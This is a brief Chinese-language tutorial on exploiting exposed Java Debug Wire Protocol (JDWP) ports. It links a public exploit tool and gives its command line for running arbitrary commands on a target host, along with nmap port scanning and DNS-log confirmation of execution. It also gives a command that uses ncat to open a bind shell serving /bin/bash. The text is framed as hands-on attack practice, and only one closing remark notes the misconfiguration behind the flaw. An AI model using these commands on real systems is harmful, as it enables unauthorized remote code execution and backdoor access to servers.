JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,该漏洞可以被黑帽子直接利用进行非法活动。
实战
下载exp:
https://github.com/IOActive/jdwp-shellifier
使用方法:
python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --cmd "Your Command"
使用nmap扫描目标nmap -sV -p 1-65535 目标ip 发现端口2424使用java Debug
开启一个dnslog来确认命令执行
使用exp进行命令注入
查看dnslog 发现命令已经执行成功
当然也可以直接开启一个后门使用nc进行连接
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "ncat -lvvp 1234 -e /bin/bash"
这个漏洞经常出现在云环境部署后开发人员粗心大意没有关闭调试接口或者没有配置访问控制的情况下。漏洞原理啥的就不啰嗦了。